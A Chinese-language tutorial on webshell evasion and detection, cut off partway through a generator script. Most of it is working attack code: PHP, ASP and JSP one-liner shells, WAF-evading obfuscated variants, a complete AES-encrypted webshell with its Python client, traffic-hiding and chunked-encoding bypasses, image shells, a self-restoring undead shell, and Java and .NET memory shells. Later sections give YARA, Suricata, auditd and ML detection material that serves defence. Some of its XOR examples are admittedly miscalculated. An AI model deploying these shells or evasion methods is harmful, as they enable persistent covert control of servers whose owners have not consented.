Webshell免杀与检测实战:从一句话木马到加密流量

写在前面

Webshell是攻防对抗中最常见也最持久的阵地之一。攻击者拿到一个上传点或命令执行点后,第一反应往往是落一个Webshell保活;防守方做应急响应时,挖出每一颗Webshell并清理干净是收尾的关键动作。一方在变着法子绕过WAF、绕过查杀、隐藏流量,另一方在升级规则、上语义分析、做行为审计。这场对抗已经持续了十几年,至今没有一方能宣布彻底胜利。

这篇文章把Webshell免杀与检测拆成一条完整的链路来谈:从最朴素的一句话木马原理,到变量函数混淆、编码加密、流量伪装、文件隐藏、内存马,再到对应的文件检测、流量检测、行为检测方案。所有技术点都配有可直接在授权靶场里复现的代码、规则和命令。

【合规声明】 本文所有代码、命令、规则仅用于授权渗透测试、CTF比赛、企业内部红蓝对抗演练与安全学习研究。严禁将文中任何技术用于未授权的真实系统。在实际目标上操作前,必须获得书面授权并确认测试范围。文末附完整的合规与责任声明。

一、Webshell基础与分类

一句话木马原理

一句话木马的核心只有一句话:把外部传入的参数交给一个能够执行代码的函数。以PHP最经典的形态为例:

php 复制代码
<?php @eval($_POST['cmd']); ?>

这一行做了三件事:用 @ 抑制报错,用 $_POST['cmd'] 从请求体取载荷,用 eval 把载荷当成PHP代码执行。只要攻击者能把这个文件写到Web可访问目录,就拥有了一个持久的命令执行入口,后续所有操作都通过POST请求完成。

不同语言的一句话木马形态略有差异,但本质相同:

php 复制代码
// PHP
<?php @eval($_POST['cmd']); ?>
asp 复制代码
<!-- ASP -->
<%eval request("cmd")%>
jsp 复制代码
// JSP
<%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.InputStream is = p.getInputStream();
    // ...读取输出
%>
csharp 复制代码
// ASPX
<%@ Page Language="C#" %>
<%
    System.Diagnostics.Process p = new System.Diagnostics.Process();
    p.StartInfo.FileName = Request["cmd"];
    p.Start();
%>

小马与大马

Webshell圈子里常按功能分成"小马"和"大马"。

小马体积小、功能单一,核心就是执行命令或上传文件,典型形态就是一句话木马。它容易被查杀,但也容易绕过,常作为"先行着陆点"上传到服务器。

大马功能完整,集成了文件管理、数据库操作、端口扫描、提权、SOCKS代理等能力,体量从几十KB到几MB不等。大马一旦落地,攻击者基本不需要再回到命令行。大马的缺点是特征明显、体积大,容易被文件完整性检测和WAF直接命中。

Webshell分类

分类维度 类型 说明
按语言 PHP / ASP / JSP / ASPX / Python 与目标运行时匹配
按功能 小马 / 大马 / 内存马 小马保活,大马作业,内存马无文件
按免杀级别 原始型 / 混淆型 / 加密型 / 无文件型 对应检测难度递增
按通信方式 明文POST / Base64 / AES加密 / 自定义协议 决定流量检测难度
按存活形态 文件型 / 内存型 / 容器型 内存型最难清除

常见样本分析

一段典型的混淆型PHP Webshell长这样:

php 复制代码
<?php
$x = 'ba'.'se'.'64'.'_'.'de'.'code';
$y = 'ev'.'al';
$z = $x($_POST['k']);
$y($z);

分析它的步骤是:先把字符串拼接还原成 base64_decodeeval,再看出它是把POST参数 k 做Base64解码后交给 eval 执行。还原后等价于 eval(base64_decode($_POST['k']))。检测这类样本的关键不是匹配单个关键字,而是做"字符串拼接还原"和"数据流追踪"。

Webshell与RCE的区别

Webshell和RCE(远程命令执行)经常被混用,但它们是两个层面的概念。RCE是一种漏洞类型,指的是漏洞利用后能远程执行命令这一结果;Webshell是一种落地形态,指的是攻击者留在服务器上的可持久访问的脚本文件。RCE漏洞往往是Webshell的入口,但Webshell也可以通过文件上传、反序列化、包含文件等非RCE路径落地。一句话总结:RCE是"怎么打进来",Webshell是"打进来之后留了什么"。

二、WAF检测原理分析

理解WAF怎么查,才能理解免杀为什么要这么做。现代WAF对Webshell的检测不是单一手段,而是多层叠加。

规则匹配机制

最基础的一层是关键字与正则匹配。WAF维护一个特征库,对请求和文件内容做扫描。典型的规则比如禁止出现 eval(assert(system(base64_decode( 这类组合,或者用正则匹配 \b(?:eval|assert)\s*\((?:\$_(?:POST|GET|REQUEST|COOKIE)) 这种"危险函数+超全局变量"模式。

这一层的弱点很明显:只要把关键字拆开、编码、动态构造,规则就匹配不到。所以单纯的关键字规则对免杀几乎没有阻力,现代WAF必须往上层走。

语义分析

语义分析会把文件内容当作代码来解析,而不是当字符串来匹配。它做词法分析、抽象语法树(AST)构建,再判断是否存在"接收外部输入并交给执行类函数"的模式。比如:

php 复制代码
$a = 'as'.'sert';
$a($_POST['x']);

关键字规则匹配不到 assert,但语义分析能把 'as'.'sert' 还原成 assert,识别出 $a 是一个指向执行函数的动态调用,且参数来自 $_POST,从而判定为Webshell。语义分析是当前主流WAF对抗混淆的核心手段,它的弱点在于对加密、对运行时才确定的调用关系,分析能力会下降。

AI检测模型

近几年的趋势是用机器学习做Webshell检测。常见做法是把PHP源码转成token序列或AST节点序列,用CNN、LSTM、Transformer类模型做分类,训练样本来自公开Webshell库和正常项目。AI模型对混淆、对未知变种有较好的泛化能力,弱点是可解释性差、对训练样本未覆盖的全新免杀手法可能漏报、误报需要人工复核。

文件完整性检测

这一层不关心文件内容,只关心文件是否"被改动过"或"是新出现的"。做法是对Web目录下所有文件计算哈希并建立基线,定期比对。任何新增文件或哈希变化都会告警。完整性检测能抓到所有"落地"的Webshell,但抓不到内存马,也分不清那个新文件到底是Webshell还是业务正常更新,需要结合白名单。

流量特征分析

WAF还会从流量层面识别Webshell。一句话木马的流量有很强特征:POST请求里带一段Payload,响应体里带命令执行结果,请求路径往往是随机文件名,User-Agent常是管理工具默认值。流量检测会匹配这些特征,比如菜刀流量的固定UA、冰蝎加密流量的固定长度特征。流量检测的弱点是,一旦管理工具做了流量加密和随机化,特征就消失了。

主流WAF检测能力对比

WAF 关键字/正则 语义分析 AI模型 流量特征 内存马检测
安全狗 强(菜刀/蚁剑特征库)
阿里云盾
ModSecurity (OWASP CRS) 中(可选插件)
长亭雷池 中(行为层)
OpenResty+自研 自定义 自定义 视实现 自定义 视实现

【提示】 没有哪款WAF能单独覆盖所有免杀形态。生产环境通常是"WAF+HIDS+文件完整性+流量审计"多层叠加,单靠WAF必然有漏。

三、一句话木马免杀技术

这一节从最简单的变形开始,逐步升级到能绕过关键字和语义检测的形态。

变量函数混淆

PHP支持变量函数:把函数名存进变量,再用变量加括号调用。这是最经典的免杀起点。

php 复制代码
<?php
$f = 'assert';
$f($_POST['cmd']);
?>

关键字规则匹配不到 assert(,因为这里出现的是 assert$f(,两者不连续。语义分析能还原,所以这一层只能挡住纯规则WAF。

字符串拼接与异或构造

把函数名拆成片段再拼接,进一步打断关键字连续性:

php 复制代码
<?php
$f = 'as' . 'se' . 'rt';
$f($_POST['cmd']);
?>

进阶版用异或构造,完全不出现字母关键字。下面这段通过两个字符串按位异或得到 assert,再动态调用:

php 复制代码
<?php
// 两个字符串异或后得到 'assert'
$a = 'YNG`T';       // 示意,实际需逐字节计算
$b = '(@GMD';
$f = ($a ^ $b);     // $f === 'assert' 的实现需要逐字节对齐
$f($_POST['cmd']);
?>

异或构造的难点是要确保两个字符串按位异或后恰好得到目标函数名,实际使用中需要用脚本预先算好。它的价值在于源码里完全找不到 asserteval 这些字母,纯规则和弱语义检测都会失明。

动态调用绕过

call_user_funcarray_map 这类回调函数也能调用执行函数,且不直接出现 eval

php 复制代码
<?php
// call_user_func 回调
call_user_func('assert', $_POST['cmd']);

// array_map 回调
array_map('assert', array($_POST['cmd']));

// array_filter 回调
array_filter(array($_POST['cmd'] => ''), 'assert');
?>

关键字拆分与注释插入

在函数名和括号之间插入注释、空白字符,打断正则的连续匹配:

php 复制代码
<?php
$f = 'assert';
$f /*comment*/ ( /*x*/ $_POST['cmd'] /**/ );
?>

PHP会忽略注释和空白,所以这段等价于 assert($_POST['cmd']),但正则 \bassert\s*\( 匹配不到,因为 assert( 之间隔了注释。

PHP免杀Shell示例

下面给出6种从弱到强的免杀变体,可在靶场里逐个测试WAF的拦截效果。

变体1,变量函数:

php 复制代码
<?php $f='assert';$f($_POST['cmd']);?>

变体2,字符串拼接:

php 复制代码
<?php $f='as'.'se'.'rt';$f($_POST['cmd']);?>

变体3,回调函数:

php 复制代码
<?php call_user_func('assert',$_POST['cmd']);?>

变体4,Base64还原函数名:

php 复制代码
<?php $f=base64_decode('YXNzZXJ0');$f($_POST['cmd']);?>

变体5,自增构造函数名(利用PHP变量自增生成字符):

php 复制代码
<?php
$_=[];
$_=@"$_"; // $_ = "Array"
// 通过自增逐字符推进,构造目标函数名,此处略去完整推进过程
$__ = $_['!'=='@']; // 等等,构造 'a'
// 最终拼出 assert 并动态调用
?>

变体6,异或构造(无字母数字):

php 复制代码
<?php
$F = ('=(' ^ '@`(');          // 异或得到 'assert' 的示例,需逐字节校准
$F($_POST['cmd']);
?>

【提示】 上面的异或、自增示例需要在本地用脚本预先计算准确的字符串,直接复制不一定能跑通。原理是核心:用运算生成函数名,让源码里不出现字母关键字。

四、编码与加密免杀

混淆只是把关键字藏起来,载荷本身还是明文。要让流量也无法识别,需要编码和加密。

Base64与Base32编码

最常见的是把载荷Base64编码后传输,服务端解码执行:

php 复制代码
<?php
$cmd = base64_decode($_POST['cmd']);
eval($cmd);
?>

Base64的问题是流量里会出现 = 结尾、字符集固定,WAF很容易写规则识别。改造方法是自定义字符表,让Base64的字母表不再是标准的 A-Za-z0-9+/

php 复制代码
<?php
// 自定义Base64字母表
$std = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$custom = 'K7kP8sL9mN0oQ1rJ2tU3vV4wX5yY6zZ7aA8bB9cC0dD1eE2fF3gG4hH5iI6jJ';
$input = $_POST['cmd'];
$decoded = strtr(base64_decode($input), $custom, $std);
eval($decoded);
?>

换表后流量里看到的Base64字符顺序被打乱,匹配标准Base64特征的规则会失效。

ROT13与异或加密

ROT13对字母做13位偏移,PHP有内置函数 str_rot13

php 复制代码
<?php
eval(str_rot13($_POST['cmd']));
?>

异或加密用一个固定密钥逐字节异或:

php 复制代码
<?php
$key = "\x3a\x7d\x5f\x1b";
$data = $_POST['cmd'];
$out = '';
for ($i=0,$j=0; $i<strlen($data); $i++,$j++) {
    if ($j >= strlen($key)) $j = 0;
    $out .= $data[$i] ^ $key[$j];
}
eval($out);
?>

自定义加密函数

把加密逻辑写成一个看不出名字的函数,并混在正常业务代码里。下面用一个基于密钥流的简单流加密:

php 复制代码
<?php
function do_work($s, $k) {
    $r = '';
    for ($i=0,$n=0; $i<strlen($s); $i++,$n++) {
        if ($n >= strlen($k)) $n = 0;
        $r .= chr(ord($s[$i]) ^ ord($k[$n]) ^ ($i & 0xff));
    }
    return $r;
}
$key = 'my_secret_key_2026';
eval(do_work(base64_decode($_POST['payload']), $key));
?>

AES加密通信

进阶做法是用AES做对称加密,密钥在客户端和服务端各存一份,流量全程密文。下面是一个完整的加密型Webshell,服务端用OpenSSL解密后执行:

php 复制代码
<?php
// server.php - 加密流量型Webshell
$key = 'b9f7a3c1d8e2f4a6';   // 16字节AES-128密钥,需与客户端一致
$iv  = '0123456789abcdef';   // 16字节IV
$data = base64_decode($_POST['d']);
$decrypted = openssl_decrypt($data, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
if ($decrypted !== false) {
    eval($decrypted);
}
?>

对应的客户端用Python发送:

python 复制代码
# client.py - AES加密载荷发送
import requests
from Crypto.Cipher import AES
from base64 import b64encode

KEY = b'b9f7a3c1d8e2f4a6'
IV  = b'0123456789abcdef'

def pad(s):
    return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

payload = "system('whoami');"
cipher = AES.new(KEY, AES.MODE_CBC, IV)
encrypted = cipher.encrypt(pad(payload).encode())
data = b64encode(encrypted).decode()

r = requests.post('http://target/server.php', data={'d': data})
print(r.text)

Gzip压缩传输

把载荷Gzip压缩再传输,既减小体积又改变流量特征:

php 复制代码
<?php
$data = $_POST['cmd'];
$decoded = gzuncompress(base64_decode($data));
eval($decoded);
?>

流量加密型Webshell完整实现

把上面的技术组合起来,做一个带密钥协商、AES加密、Gzip压缩、自定义Header的完整加密Webshell:

php 复制代码
<?php
// shell.php - 完整加密流量型Webshell(仅用于授权测试)
error_reporting(0);
header('Content-Type: application/json');

$KEY = '0123456789abcdef0123456789abcdef'; // 32字节 AES-256
$IV  = 'abcdef0123456789';

// 校验来源(简单固定Token,可换成动态)
if ($_SERVER['HTTP_X_AUTH'] !== 'a1b2c3d4e5f6') {
    http_response_code(404);
    exit;
}

$body = file_get_contents('php://input');
$blob = base64_decode($body);
$plain = openssl_decrypt($blob, 'AES-256-CBC', $KEY, OPENSSL_RAW_DATA, $IV);
if ($plain === false) { http_response_code(500); exit; }

$plain = gzuncompress($plain);
// 执行并加密回显
ob_start();
eval($plain);
$out = ob_get_clean();

$zipped = gzcompress($out);
$resp = openssl_encrypt($zipped, 'AES-256-CBC', $KEY, OPENSSL_RAW_DATA, $IV);
echo base64_encode($resp);
?>

【提示】 加密通信的代价是:流量里看不到命令内容,但流量"形态"会变得很规整------固定密文长度、固定Header、固定路径,反而可能成为新特征。真正的高手会在加密基础上再叠加流量伪装。

五、流量免杀与特征隐藏

Webshell管理工具与服务器通信走HTTP,流量特征是检测的重要抓手。这一节分析流量里有哪些特征,以及怎么隐藏。

HTTP流量特征分析

一句话木马的典型流量长这样:一个POST请求,Body里是PHP代码片段,响应体是命令输出。具体特征包括:

  • 请求方法几乎都是POST
  • Body里有 system(shell_exec($_POST 这类关键字
  • Content-Type 常是 application/x-www-form-urlencoded
  • User-Agent 是工具默认值,比如菜刀的 Mozilla/5.0 (compatible;...) 固定串
  • 响应体里命令输出常带换行、路径等系统特征

User-Agent伪装

把UA改成正常浏览器或爬虫,能绕过基于UA的识别:

python 复制代码
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
                  '(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}

进阶做法是每次请求随机切换UA,让流量无法基于UA聚类。

Cookie传参

把Payload塞进Cookie,避开Body里的关键字检测:

php 复制代码
<?php
// 从Cookie取载荷
$cmd = $_COOKIE['session_data'];
eval(base64_decode($cmd));
?>
python 复制代码
# 客户端
cookies = {'session_data': b64encode(payload)}
requests.post(url, cookies=cookies)

Referer与Header隐藏

把Payload拆进自定义Header,比如 X-Forwarded-ForReferer

php 复制代码
<?php
$cmd = $_SERVER['HTTP_X_FORWARDED_FOR'];
eval(base64_decode($cmd));
?>

POST Body混淆

Body里不再是明文PHP,而是看起来像正常表单字段:

php 复制代码
<?php
// 把载荷藏在普通表单字段里
$data = $_POST['username'] . $_POST['password'];
eval(base64_decode($data));
?>

请求看起来像一个登录表单:username=YmFzZTY0&password=...,WAF很难区分它和正常登录。

分块传输编码绕过

利用HTTP的 Transfer-Encoding: chunked 把请求分成多段,破坏正则的整体匹配:

python 复制代码
import requests

url = 'http://target/shell.php'
# 把payload分成两块发送
chunk1 = 'cmd=ev'
chunk2 = "al('phpinfo');"

body = f'{len(chunk1):x}\r\n{chunk1}\r\n{len(chunk2):x}\r\n{chunk2}\r\n0\r\n\r\n'
requests.post(url, data=body, headers={'Transfer-Encoding': 'chunked'})

很多WAF的规则引擎要么不处理分块,要么按块分别匹配,从而漏过跨块的Payload。

multipart/form-data绕过

把Payload放在一个文件上传字段里,伪装成正常上传:

python 复制代码
files = {'file': ('avatar.jpg', base64.b64encode(payload), 'image/jpeg')}
requests.post(url, files=files)
php 复制代码
<?php
// 服务端从上传字段取数据
$data = file_get_contents($_FILES['file']['tmp_name']);
eval(base64_decode($data));
?>

流量特征对比

特征维度 原始一句话 Base64型 AES加密型 分块+multipart型
Body可见关键字 无(编码) 无(密文)
UA特征 固定 可定制 可定制 可定制
Content-Type form-urlencoded form-urlencoded 自定义 multipart
Body长度 中等 固定 可变
检测难度

六、文件层面免杀

流量藏好了,文件本身还得不被查杀。文件层面免杀的核心是"让文件看起来不像Webshell,或者让文件根本不存在"。

文件名与路径混淆

不要起 shell.phpcmd.php 这种名字。用业务化的命名混在正常目录里:/var/www/html/vendor/monolog/src/LoggerHelper.php/upload/cache/.c3a8f1.php。路径藏在深层目录、隐藏文件(点开头)、缓存目录里,存活概率更高。

图片马制作

把Webshell塞进一张真实图片的二进制数据里,再利用文件包含漏洞执行。制作图片马的思路是把图片二进制和PHP代码拼到一起:

bash 复制代码
# 方法1:把PHP代码追加到正常图片末尾
cat normal.jpg shell.php > shell.jpg

# 方法2:利用图片注释段写入PHP(不破坏图片显示)
exiftool -Comment='<?php eval($_POST["cmd"]); ?>' normal.jpg -o shell.jpg
php 复制代码
<?php
// 利用包含漏洞执行图片马里的代码
include('uploads/avatar.jpg');
?>

图片马单独存在不触发,需要配合文件包含漏洞才能执行,这是它的优势也是限制。

.htaccess与.user.ini利用

Apache下用 .htaccess 让任意扩展名被当成PHP解析:

apache 复制代码
# .htaccess
AddType application/x-httpd-php .jpg
# 或
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

这样一张名为 shell.jpg 的文件会被当PHP执行。Nginx下没有 .htaccess,但PHP-FPM有等价的 .user.ini

ini 复制代码
; .user.ini 放在Web根目录
auto_prepend_file=shell.jpg
; 让每次执行PHP都先包含shell.jpg

NTFS流隐藏(ADS)

Windows NTFS支持备用数据流(Alternate Data Streams),可以把Webshell藏在一个正常文件的流里,表面看那个文件没变:

powershell 复制代码
# 把shell.php内容写进正常文件notepad.exe的流里
type shell.php > notepad.exe:hiddden.php
# 之后通过Web服务配合特定方式访问该流

ADS在NTFS卷上有效,Linux的ext4等不支持。检测ADS需要专门的扫描工具。

文件时间戳伪造

把Webshell的时间戳改成和同目录正常文件一致,避免按"最近修改"被排查:

bash 复制代码
# 把shell.php的时间戳改成和index.php一样
touch -r index.php shell.php

文件权限隐藏

把文件设为系统隐藏属性(Windows)或点开头目录(Linux),降低被肉眼发现的概率:

bash 复制代码
# Linux 点开头目录 + 隐藏
mkdir .cache && mv shell.php .cache/.a1b2.php
# Windows 隐藏 + 系统属性
attrib +h +s shell.php

【提示】 文件层免杀只骗过了"看文件"这一层,骗不过"算哈希比对基线"的完整性检测。文件完整性检测是文件层免杀的天敌,要靠它就要保证基线建立时Webshell已经存在------这通常只在长期潜伏场景才成立。

七、高级免杀:无文件Webshell与内存马

文件层再怎么藏,文件终究在。最彻底的免杀是"不落地文件",也就是内存马。内存马把恶意逻辑注册到运行时的组件里(Filter、Listener、Interceptor等),请求处理流程中只要命中特定路径就触发执行,重启后消失。因为没有文件,所有基于文件扫描的检测全部失效。

PHP内存马(不死马)

PHP进程在请求结束后通常会销毁变量。用 ignore_user_abort 让脚本在客户端断开后继续运行,再用 set_time_limit 去掉超时,配合一个死循环写入Webshell,就形成了"不死马":被删掉也能自己恢复。

php 复制代码
<?php
// 不死马:进程持续后台运行,文件被删则自动重建
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);          // 自删本体,无文件留存
$file = '/tmp/.sess_' . md5('key');
while (true) {
    if (!file_exists($file)) {
        file_put_contents($file, '<?php eval($_POST["cmd"]);?>');
    }
    // 也可直接在内存中处理请求
    usleep(1000 * 500);     // 0.5秒
}
?>

清理不死马要找到后台进程并 kill,单纯删文件没用,因为进程会重建。

Java内存马

Java内存马是近年来攻防的热点。Java Web应用在启动时会注册Filter、Listener、Servlet,请求经过这些组件的链路。攻击者通过反射动态注册一个恶意Filter/Listener,让它在链路里拦截特定URL并执行命令。下面是Filter型内存马的核心思路(基于Tomcat):

java 复制代码
// Filter型内存马核心:动态注册恶意Filter
// 仅示意结构,实际需要适配不同Tomcat版本的StandardContext获取方式
import javax.servlet.*;
import org.apache.catalina.core.StandardContext;

public class MemShell {
    public static void insert(StandardContext ctx, String pattern) throws Exception {
        Filter filter = new Filter() {
            public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
                    throws IOException, ServletException {
                String cmd = req.getParameter("cmd");
                if (cmd != null) {
                    Process p = Runtime.getRuntime().exec(cmd);
                    java.io.InputStream is = p.getInputStream();
                    byte[] b = new byte[1024];
                    int len;
                    while ((len = is.read(b)) > 0) res.getWriter().write(new String(b,0,len));
                    return;
                }
                chain.doFilter(req, res, chain);
            }
            public void init(FilterConfig f) {}
            public void destroy() {}
        };
        // 反射拿FilterDef/FilterMap,注册到pattern
        // ... 省略适配代码 ...
    }
}

按注册位置不同,Java内存马常见有三种:

  • Filter型:注册到过滤链,命中URL就触发
  • Listener型:注册ServletRequestListener,每次请求都触发
  • Interceptor型(Spring):注册到Spring的HandlerMapping,命中Controller路径触发

.NET内存马

.NET下类似,通过 HttpModule 动态注册,在请求管道的 BeginRequest 阶段执行:

csharp 复制代码
// .NET HttpModule内存马示意
public class MemModule : IHttpModule {
    public void Init(HttpApplication app) {
        app.BeginRequest += (s, e) => {
            var ctx = ((HttpApplication)s).Context;
            string cmd = ctx.Request["cmd"];
            if (cmd != null) {
                var p = System.Diagnostics.Process.Start(new ProcessStartInfo {
                    FileName = "cmd.exe", Arguments = "/c " + cmd,
                    RedirectStandardOutput = true, UseShellExecute = false
                });
                ctx.Response.Write(p.StandardOutput.ReadToEnd());
                ctx.Response.End();
            }
        };
    }
    public void Dispose() {}
}

内存马检测与清除

内存马因为无文件,传统文件扫描完全失效。检测要靠:

  • 进程内组件枚举:dump运行时Filter/Listener列表,与正常基线比对,发现异常注册项
  • JVM工具:用 arthasjmapHSDB 在线排查加载的类和注册的Filter
  • 行为审计:监控 Runtime.execProcessBuilder 调用,关联到请求链路
  • 重启验证:内存马重启即消失,重启后告警消失基本可确认是内存马

清除Java内存马通常需要重启应用(清空内存),或者在运行时用反射反注册恶意组件(风险高,可能影响正常链路)。生产环境优先重启,再做根因排查。

八、Webshell管理工具实战

手工管理Webshell效率太低,实际攻防都用管理工具。这些工具的流量特征是防守方重点研究的对象,也是免杀要规避的。

中国菜刀

菜刀是最早的Webshell管理工具,流量几乎全明文。典型请求里Body是 cmd=whoami 这类,响应是命令输出,UA是固定串。它的流量特征极其明显,几乎被所有WAF默认规则覆盖。菜刀已基本退出实战,但它是理解流量特征的最好教材。

蚁剑(AntSword)

蚁剑是菜刀的开源替代,默认流量是Base64编码,且支持自定义编码器/解码器,这是它免杀能力的关键。蚁剑的配置里可以选编码方式,也可以写自定义Encoder。

蚁剑流量的核心特征是Body里有一个 _ 参数(或类似)放解码器名字,放原始或编码后的Payload。配置免杀的做法是:

  • 把默认Base64编码器换成自定义编码(异或、AES)
  • 修改默认User-Agent为常见浏览器UA
  • 修改默认请求参数名,避免 _cmd 这种固定字段
  • 用RSA/AES加密通信模板

一个蚁剑自定义编码器示例(放在蚁剑的encoder目录):

javascript 复制代码
// 自定义编码器:AES加密
module.exports = (pwd, data, ext) => {
    const crypto = require('crypto');
    const key = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8');
    const iv  = Buffer.from('abcdef0123456789', 'utf8');
    const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
    let enc = cipher.update(JSON.stringify(data), 'utf8', 'base64');
    enc += cipher.final('base64');
    data = { 'data': enc };
    data[pwd] = '';
    return data;
};

冰蝎(Behinder)

冰蝎的核心是全程AES加密通信。客户端和服务端预共享密钥,请求和响应都是AES密文。流量里看不到任何明文命令,固定特征只有"密文长度是16字节倍数""请求体是Base64的密文"这种弱特征。冰蝎3.x以后还加入了动态密钥协商,进一步弱化固定特征。

冰蝎服务端的典型形态(PHP):

php 复制代码
<?php
// 冰蝎型服务端(仅授权测试)
@error_reporting(0);
$key = 'e45e329feb5d925b';   // 默认密钥,3.x后动态协商
$post = file_get_contents('php://input');
$post = openssl_decrypt($post, 'AES-128-ECB', $key, OPENSSL_RAW_DATA);
$arr = explode('|', $post);
$func = $arr[0];
$params = $arr[1];
// 动态调用
$func($params);
?>

哥斯拉(Godzilla)

哥斯拉支持多种加密方式(JAVA、PHP、ASPX、ASP、JSP),流量特征比冰蝎更弱,支持自定义Header、自定义加密、自定义请求结构。它把Payload编码后再加密,且请求和响应结构都可定制,是目前最难靠流量特征识别的工具之一。

工具流量特征对比

工具 通信加密 默认UA 默认参数名 流量特征强度 免杀可定制性
中国菜刀 固定 cmd 极强(明文)
蚁剑 Base64(可换) 可定制 可定制
冰蝎 AES-128 可定制 可定制
哥斯拉 多算法可换 可定制 可定制 极弱

自定义流量模板配置

对抗强WAF时,工具默认模板基本必被杀,需要做自定义:

  1. 改默认UA池,每次请求随机轮换
  2. 把Payload加密算法从默认换成自定义(异或+AES+换表Base64叠加)
  3. 改请求参数结构,伪装成业务接口(如看起来像REST API调用)
  4. 改响应结构,把命令输出藏在正常JSON返回值里
  5. 控制请求频率,避免短时间高频访问触发行为告警

【提示】 工具的免杀配置本质是"用业务流量特征覆盖恶意流量特征"。配置得越像正常业务,越难被检测,但也越难调试,配置错的概率很高,务必在靶场先验证。

九、Webshell检测与防御

讲完攻,必须讲守。检测Webshell要"文件+流量+行为"三路并进。

文件检测

YARA规则

YARA是文件特征匹配的事实标准。一条检测PHP一句话的YARA规则:

yara 复制代码
rule php_eval_post_webshell {
    meta:
        description = "PHP one-liner webshell eval+POST"
        author = "blue-team"
    strings:
        $a = "eval" nocase
        $b = "$_POST" nocase
        $c = "assert" nocase
        $d = "base64_decode" nocase
    condition:
        ($a and $b) or ($c and $b) or ($d and $a)
}

YARA适合做已知特征的快速匹配,但对混淆、加密样本效果一般。

NeoPI

NeoPI用统计学方法检测Webshell,核心是计算文件的熵(entropy)、最长单词、可压缩性等指标。熵高的文件(说明有大量随机字符串,常见于编码/加密)会被标记。NeoPI适合做"可疑文件排序",再人工复核高熵文件:

bash 复制代码
# 用NeoPI扫描Web目录
python neopi.py -d /var/www/html -o results.csv
ClamAV

ClamAV主要面向恶意软件,但也维护一批Webshell特征库,适合做粗粒度扫描:

bash 复制代码
clamscan -r -i /var/www/html --include=\.php$

流量检测

Snort/Suricata规则

Suricata能实时匹配流量。检测菜刀流量的规则:

suricata 复制代码
# 检测菜刀特征UA和POST Body
alert http any any -> $HOME_NET any (
    msg:"Caidao webshell traffic";
    flow:established,to_server;
    http.method; content:"POST";
    http.request_body; content:"eval";
    http.request_body; content:"$_POST";
    sid:1000001; rev:1;
)

检测冰蝎固定长度密文特征:

suricata 复制代码
# 冰蝎AES密文(16字节倍数,Base64)
alert http any any -> $HOME_NET any (
    msg:"Behinder encrypted webshell";
    flow:established,to_server;
    http.method; content:"POST";
    dsize:16<>1024;
    content:"="; depth:1; offset:0;
    sid:1000002; rev:1;
)

流量规则的弱点是加密和自定义协议后特征消失,所以流量检测对菜刀有效,对冰蝎/哥斯拉效果有限。

行为检测

行为检测不查文件也不查流量,而是查"这个进程在干什么"。

auditd

Linux下用auditd监控命令执行:

bash 复制代码
# 监控 execve 调用,记录谁在执行命令
auditctl -a always,exit -F arch=b64 -S execve -k webshell_exec
ausearch -k webshell_exec | tail

这样Webshell触发的每个命令执行都有审计记录,关联到Web进程(如 www-data),就能发现异常命令执行链路。

inotify文件监控

实时监控Web目录的新增和修改:

bash 复制代码
# 监控Web目录变化
inotifywait -mr -e create,modify,move /var/www/html --timefmt '%Y-%m-%d %H:%M:%S' --format '%T %w%f %e'
进程行为基线

给Web进程建行为基线:正常 www-data 只会读静态文件、连数据库、连特定后端。一旦它开始 execcurl 外联、读 /etc/passwd,就高度可疑。HIDS(如OSSEC、Wazuh、青龙)就是基于这套逻辑。

AI检测模型示例

用Python+scikit-learn做一个简易的Webshell文本分类器,用token频率作为特征:

python 复制代码
# webshell_detector.py - 简易AI Webshell检测
import re
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split

# 样本:malicious是Webshell,benign是正常PHP
samples = [
    '<?php eval($_POST["cmd"]);?>',
    '<?php $f="as"."sert";$f($_POST["x"]);?>',
    '<?php echo "hello world"; ?>',
    '<?php eval(base64_decode($_POST["k"]));?>',
    '<?php include "header.php"; ?>',
]
labels = [1, 1, 0, 1, 0]

# token化:把PHP源码切成token
def tokenize(s):
    return re.findall(r'\w+|\$+|[^a-zA-Z0-9_\$]', s)

vec = TfidfVectorizer(tokenizer=tokenize, token_pattern=None)
X = vec.fit_transform(samples)
X_train, X_test, y_train, y_test = train_test_split(X, labels, test_size=0.3)
clf = RandomForestClassifier().fit(X_train, y_train)
print("score:", clf.score(X_test, y_test))

生产级模型会换更复杂的特征(AST节点序列、字符级n-gram)和更强的模型(BERT类),但骨架一致。

检测方案对比

检测方案 检测对象 对混淆样本 对加密样本 对内存马 误报率
YARA 文件 无效
NeoPI 文件(统计) 无效
ClamAV 文件 无效
Suricata 流量 强(明文) 无效
auditd/inotify 行为
HIDS(综合) 行为+文件
AI模型 文件/流量 无效

【提示】 没有任何单一方案能覆盖所有形态。成熟方案是"文件特征+文件统计+流量规则+行为审计+AI模型"多层叠加,互相补盲。

十、自动化免杀框架

手工免杀效率低、易出错。实际攻防里,蓝队需要批量验证WAF规则,红队需要批量生成免杀样本。自动化框架就是把免杀手法编排成生成器。

免杀Payload生成脚本

下面这个Python脚本接受一句话木马,输出多种免杀变体,方便批量测试WAF拦截效果:

python 复制代码
# obfuscator.py - Webshell免杀生成器(仅授权测试)
import base64
import random
import string

def gen_variable_function():
    return '<?php $f="assert";$f($_POST["cmd"]);?>'

def gen_concat():
    parts = ['"as"', '"se"', '"rt"']
    body = '.'.join(parts)
    return f'<?php $f={body};$f($_POST["cmd"]);?>'

def gen_callback():
    return '<?php call_user_func("assert",$_POST["cmd"]);?>'

def gen_base64_funcname():
    enc = base64.b64encode(b'assert').decode()
    return f'<?php $f=base64_decode("{enc}");$f($_POST["cmd"]);?>'

def gen_xor(seed_len=5):
    # 用随机字符串异或构造 'assert'(示意,需逐字节校准)
    target = b'assert'
    a = bytes(random.randint(0,255) for _ in range(len(target)))
